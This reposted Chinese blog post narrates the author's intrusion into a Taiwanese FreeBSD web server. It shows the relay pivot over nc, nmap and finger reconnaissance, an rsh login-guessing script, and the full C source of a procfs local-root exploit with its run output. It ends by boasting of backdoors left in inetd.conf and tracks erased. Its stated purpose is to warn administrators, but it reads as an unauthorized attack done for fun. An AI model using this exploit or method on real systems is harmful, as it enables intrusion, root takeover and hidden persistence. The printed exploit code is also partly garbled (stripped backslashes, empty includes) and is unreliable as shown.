網站入侵過程(轉)

post0發表於2007-08-11
網站入侵過程(轉)[@more@]

本文的寫作目的僅僅是為了給某些粗心大意的網路管理人員一個警告——internet是有趣但十分脆弱的,當你的計算機放在網際網路上給人們提供資訊與服務的同時,會引來網路中的“好奇者”的窺探。而安全性與便利性是一對矛盾……在你對自己的網路做了一個安全策略考量之後,你應該確定你願意以多大的風險來使用一些方便的服務, 當然這些服務——比如rlogin,可能只會使你少輸入一次密碼……

首先是確定目標——撞大運亂挑一個吧,試試能不能成功……呵,於是登上yahoo,上 taiwan的站點小遛了一下……唔,這個還不錯,我們姑且稱其為……還 是先ping一下看看情勢如何——別碰上有牆的就遜了……

C:>ping

Pinging [111.111.111.111] with 32 bytes of data:

Reply from 111.111.111.111: bytes=32 time=621ms TTL=241

Reply from 111.111.111.111: bytes=32 time=620ms TTL=241

Reply from 111.111.111.111: bytes=32 time=611ms TTL=241

Reply from 111.111.111.111: bytes=32 time=591ms TTL=241

速度還是很快的嘛……那就開始吧……

先登上某臺跳板臺灣的機器——這樣安全一些,不會留下你自己的IP……(當然,說句題外話——這樣要追查到還不是很困難,曾經有個朋友同我說過,南方某大學一次被黑,種種跡象都表明駭客來自美國,IP、更改後主頁上留下的話語……朋友受託去補漏查源,發現那IP是美國一個提供免費shell的服務供應商……於是申請了一個shell,透過一系列動作成為root,檢視系統日誌——真相大白,IP居然指向那家大學自身)。

透過跳板還有一個好處——如果你的嘗試失敗,在系統日誌裡留下來的是臺灣本土的 IP,這樣的登陸失敗命令比較不會引起系統管理員的注意……

C:>nc ***.***.***.*** 12345

就登上跳板了,12345埠裡我預留了一個suid的shell……

好了,祭起寶刀——nmap……

# ./nmap -sT -O 111.111.111.111

Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)

Interesting ports on (111.111.111.111):

Port State Protocol Service

7 open tcp echo

9 open tcp discard

19 open tcp chargen

21 open tcp ftp

23 open tcp telnet

25 open tcp smtp

37 open tcp time

79 open tcp finger

80 open tcp http

111 open tcp sunrpc

443 open tcp https

512 open tcp exec

513 open tcp login

514 open tcp shell

515 open tcp printer

540 open tcp uucp

3306 open tcp mysql

TCP Sequence Prediction: Class=random positive increments

Difficulty=55346 (Worthy challenge)

No OS matches for host (If you know what OS is running on it

…………

…………

Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds

唔,運氣還不錯,提供的服務不少,估計漏也少不到哪兒去……只是沒判斷出系統

型別,這些服務裡看上去可以利用的有:

Port State Protocol Service

21 open tcp ftp

25 open tcp smtp

79 open tcp finger

80 open tcp http

111 open tcp sunrpc

512 open tcp exec

513 open tcp login

514 open tcp shell

540 open tcp uucp

3306 open tcp mysql

最近rpc攻擊非常流行,原因之一恐怕是方便易行——只要存在漏洞,遠端就可以

得到一個rootshell……甚至對計算機完全不懂的外行也能輕易實施,呵,那我們們

來看看這個111 port的sunrpc裡有什麼奧妙吧……

# rpcinfo -p 111.111.111.111&

21404

# program vers proto port service

100000 2 tcp 111 rpcbind

100000 2 udp 111 rpcbind

咦,看來沒戲唱哦……好在還有那麼多服務,待偶慢慢試來……

看看是什麼FTP伺服器軟體吧,說不定有遠端溢位的漏洞呢

# ./nc 111.111.111.111 21

#

乖乖龍的東,什麼輸出也沒有就關上了,這是如何一回事?

C:>ftp 111.111.111.111

Connected to 111.111.111.111.

Connection closed by remote host.

呵呵,看來過濾掉了嘛……怎麼辦?看看25埠是執行什麼SMTP服務的吧……

# ./nc 111.111.111.111 25

220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT

Sendmail 8.9.3/8.9.3?好象沒有什麼致命的漏洞呀……

看看是什麼WEB伺服器先……

# (echo "head /http/1.0";echo;echo)|./nc -w 3 111.111.111.111 80

501 Method Not Implemented

Method Not Implemented

head to /http/1.0 not supported.

Invalid method in request head /http/1.0


Apache/1.3.9 Server at ***-***-***-*** Port 80

阿帕奇這個版本的東東至少偶的印象中沒有什麼“死穴”……

好在開了finger,俺就土土地先把使用者列表弄出來吧……

finger O@

[.tw]

root

aaa

bbb

ccc

ddd

總算有點收穫……,那麼下一步該做什麼呢?既然這臺主機開了512、513、514的r

系列服務,那就值得嘗試一下,說不定哪個偷懶的傢伙直接在.rhosts裡設了

+ username

那我就爽了……

順手寫了個shell script,讓它去一個一個地嘗試rsh命令,傳到肉雞上

# chmod 700 rsh.sh

# nohup ./rsh.sh

它會自動地在/etc/passwd和/etc/shadow里加上finger出來的使用者名稱,然後su過去,

再對遠端目標111.111.111.111執行rsh命令,成功則返回該使用者名稱……然後將備份的

passwd和shadow再拷回去……刪除臨時檔案,生成報告檔案……(或許是我對.rhosts

的理解還有問題,有時我在機里加上+ +但rcp時還會報Permission denied或者connect

refused,所以乾脆都su成使用者——或許太笨;)

我便再去MUD裡當我的大蝦了……半個小時後回來

登上肉雞,讀取報告檔案.rsh.txt

# cat ./.rsh.txt

ccc

hehe,非常抱歉,看來俺得到一個shell了……

進去看看……

# rlogin -l ccc 111.111.111.111

Last login: Fri Mar 24 19:04:50 from 202.102.2.147

Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994

The Regents of the University of California. All rights reserved.

FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999

You have mail.

呵,原來是FreeBSD 3.2-RELEASE呀,感覺不錯,進來了,看看我的許可權如何吧……

> id

id

uid=1003(ccc) gid=1003(ccc) groups=1003(ccc)

看來能做的事還相當有限噢……再看看系統裡有沒有別人先……

> w

w

9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00

USER TTY FROM LOGIN@ IDLE WHAT

ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh)

不錯,就我自在逍遙……看看passwd吧……

> cat /etc/passwd

cat /etc/passwd

root:*:0:0:Charlie &:/root:/usr/local/bin/bash

aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh

bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh

ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh

ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh

eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh

很明顯/home/www就是www使用者的主目錄了……先看看俺ccc對該目錄有沒有寫許可權

> echo test >/home/www/test

test: Permission denied.

看來如果想改他的主頁,還得另外想辦法啦……不過都已經有了一個使用者shell了,最

高許可權其實也只有一步之遙啦,好吧,翻翻資料庫裡有什麼關於FreeBSD 3.2的記錄,

看來東西不多呀……而且有些還是安裝外來軟體包之後才帶來的風險……

先看看有沒有編譯的許可權再說吧,否則還得找一臺BSD來編譯……

> ls /usr/local/bin|grep gcc

gcc

一般情況下自己安裝的gcc是會在這個目錄的啦,否則最好find一下比較保險。

這下方便了……可以直接傳程式碼上來試……

試了幾個之後我找到這麼個東西:

/* by Nergal */

#include

#include

#include

#include

#include

#include

#include

#include

#include

char shellcode[] =

"xebx0ax62x79x20x4ex65x72x67x61x6cx20"

"xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f"

"x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52"

"x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01"

"x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04x00";

#define PASSWD "./passwd"

void

sg(int x)

{

}

int

main(int argc, char **argv)

{

unsigned int stack, shaddr;

int pid,schild;

int fd;

char buff[40];

unsigned int status;

char *ptr;

char name[4096];

char sc[4096];

char signature[] = "signature";

signal(SIGUSR1, sg);

if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)

{

perror("creating symlink:");

exit(1);

}

shaddr=(unsigned int)&shaddr;

stack=shaddr-2048;

if (argc>1)

shaddr+=atoi(argv[1]);

if (argc>2)

stack+=atoi(argv[2]);

fprintf(stderr,"shellcode addr=0x%x stack=0x%xn",shaddr,stack);

fprintf(stderr,"Wait for "Press return" prompt:n");

memset(sc, 0x90, sizeof(sc));

strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));

strncpy(sc,"EGG=",4);

memset(name,'x',sizeof(name));

for (ptr = name; ptr < name + sizeof(name); ptr += 4)

*(unsigned int *) ptr = shaddr;

name[sizeof(name) - 1] = 0;

pid = fork();

switch (pid) {

case -1:

perror("fork");

exit(1);

case 0:

pid = getppid();

sprintf(buff, "/proc/%d/mem", pid);

fd = open(buff, O_RDWR);

if (fd < 0) {

perror("open procmem");

wait(NULL);

exit(1);

}

/* wait for child to execute suid program */

kill(pid, SIGUSR1);

do {

lseek(fd, (unsigned int) signature, SEEK_SET);

} while

(read(fd, buff, sizeof(signature)) == sizeof(signature) &&

!strncmp(buff, signature, sizeof(signature)));

lseek(fd, stack, SEEK_SET);

switch (schild = fork()) {

case -1:

perror("fork2");

exit(1);

case 0:

dup2(fd, 2);

sleep(2);

execl(PASSWD, name, "blahblah", 0);

printf("execl failedn");

exit(1);

default:

waitpid(schild, &status, 0);

}

fprintf(stderr, "nPress return.n");

exit(1);

default:

/* give parent time to open /proc/pid/mem */

pause();

putenv(sc);

execl(PASSWD, "passwd", NULL);

perror("execl");

exit(0);

}

}

偶說一下這個漏洞的由來吧:

早在1997年在*BSD裡就發現了一個致命漏洞存在於procfs可以導致本地使用者奪取root

許可權,*BSD核心中做了簡單的修補,但不幸的是,時至今日,我們仍然可以透過對

/proc/pid/mem的操作奪取root許可權……當然,要利用這個程式拿ROOT,procfs檔案系統

必須是mounted的,在預設的FreeBSD3.3裡是mounted著的。我們先來看看這臺機器上的

情況如何,別白忙一場……

# /sbin/mount

/dev/wd0s1a on / (local, writes: sync 12 async 134)

/dev/wd0s1h on /home (local, writes: sync 2 async 120)

/dev/wd0s1f on /usr (local, writes: sync 2 async 93)

/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)

/dev/wd0s1e on /var (local, writes: sync 118 async 498)

procfs on /proc (local)

呵呵不錯,看到沒有那procfs on字樣?看來老天幫忙了……

一個無特權的程式A自我呼叫子程式B,A開啟/proc/pid-of-B/mem,B執行一個setuid的

二進位制程式,現在B與A的euid已經不同了,但A仍然透過/proc/pid-of-B/mem的描述符控

制B程式,就可能做很多事了……

In order to stop this exploit, an additional check was added to the code

responsible for I/O on file descriptors referring to procfs pseudofiles. In

miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:

/*

* Check to see whether access to target process is allowed

* Evaluates to 1 if access is allowed.

*/

#define CHECKIO(p1, p2)

((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) &&

((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) &&

((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) &&

((p2)->p_flag & P_SUGID) == 0) ||

(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))

As we see, process performing I/O (p1) must have the same uids as

target process (p2), unless... p1 has root priviledges. So, if

we can trick a setuid program X into writing to a file descriptor

F referring to a procfs object, the above check will not prevent

X from writing. As some of readers certainly already have guessed,

F's number will be 2, stderr fileno... We can pass to a setuid

program an appropriately lseeked file descriptor no 2 (pointing to

some /proc/pid/mem), and this program will blindly write there

error messages. Such output is often partially controllable (e.g.

contains program's name), so we can write almost arbitrary data

onto other setuid program's memory.

This scenario looks similar to

close(fileno(stderr)); execl("setuid-program",...)

exploits, but in fact differs profoundly. It exploits the fact

that the properties of a fd pointing into procfs is not

determined fully by "open" syscall (all other fd are; skipping

issues related to securelevels). These properties can change

because of priviledged code execution. As a result, (priviledged)

children of some process P can inherit a fd opened read-write,

though P can't directly gain such fd via open syscall.

懶得把它弄成中文的了……感興趣則看,不感興趣就跳過吧……

好,那就把漏洞利用程式rcp過去吧

>rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/

其中***.***.***.**是以前的一個倒黴蛋,/下被加了+ +的傢伙……

編譯執行——可能得對程式做一些小小的更改……

>gcc pcnfs.c -o p

>./p -4000 -10000

shellcode addr=0xbfbfcd4c stack=0xbfbfaddc

Wait for "Press return" prompt:

New password:

Press return.

id

uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)

wowowo!我是root啦……哈哈,也就是說,俺現在在這個系統裡可以為所欲為了……

再試試對/home/www目錄有沒有寫許可權吧……

echo test>/home/www/test.txt;ls /home/www|grep test

test.txt

呵,好了,大功告成……一般情況下做到這步後你原來修改主頁的慾望就會消散了,畢竟我們們不是以破壞系統為樂的人,我們只是希望網路社會更加健康,所以——俺也沒改什麼東西,只是留了幾個後門就bye-bye了……我們們有太多的系統可供學習,只好在這些 遠端機器上多學多看了——所以,留個後門還是必要的啦。

當然擦腳印等等活還是要乾的,讓人發現系統曾經有人嘗試過入侵究竟不是一件好事。萬 事OK後就可以走人了。

這個root有重新啟動系統的壞習慣,三天後我再登上系統時,發現

# id

uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),

5(operator), 20(staff), 31(guest)

呵,看來往/etc/inetd.conf里加的shell由root大人自己啟動了……至於這個系統,其實它 有安裝防火牆軟體的,要不是其中有一個使用者偷懶,還是很難入侵成功的……希望這對國內 的管理員也是一個警示吧,因為國內的網路安全狀況實在還是不容樂觀……

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8225414/viewspace-945517/,如需轉載,請註明出處,否則將追究法律責任。

相關文章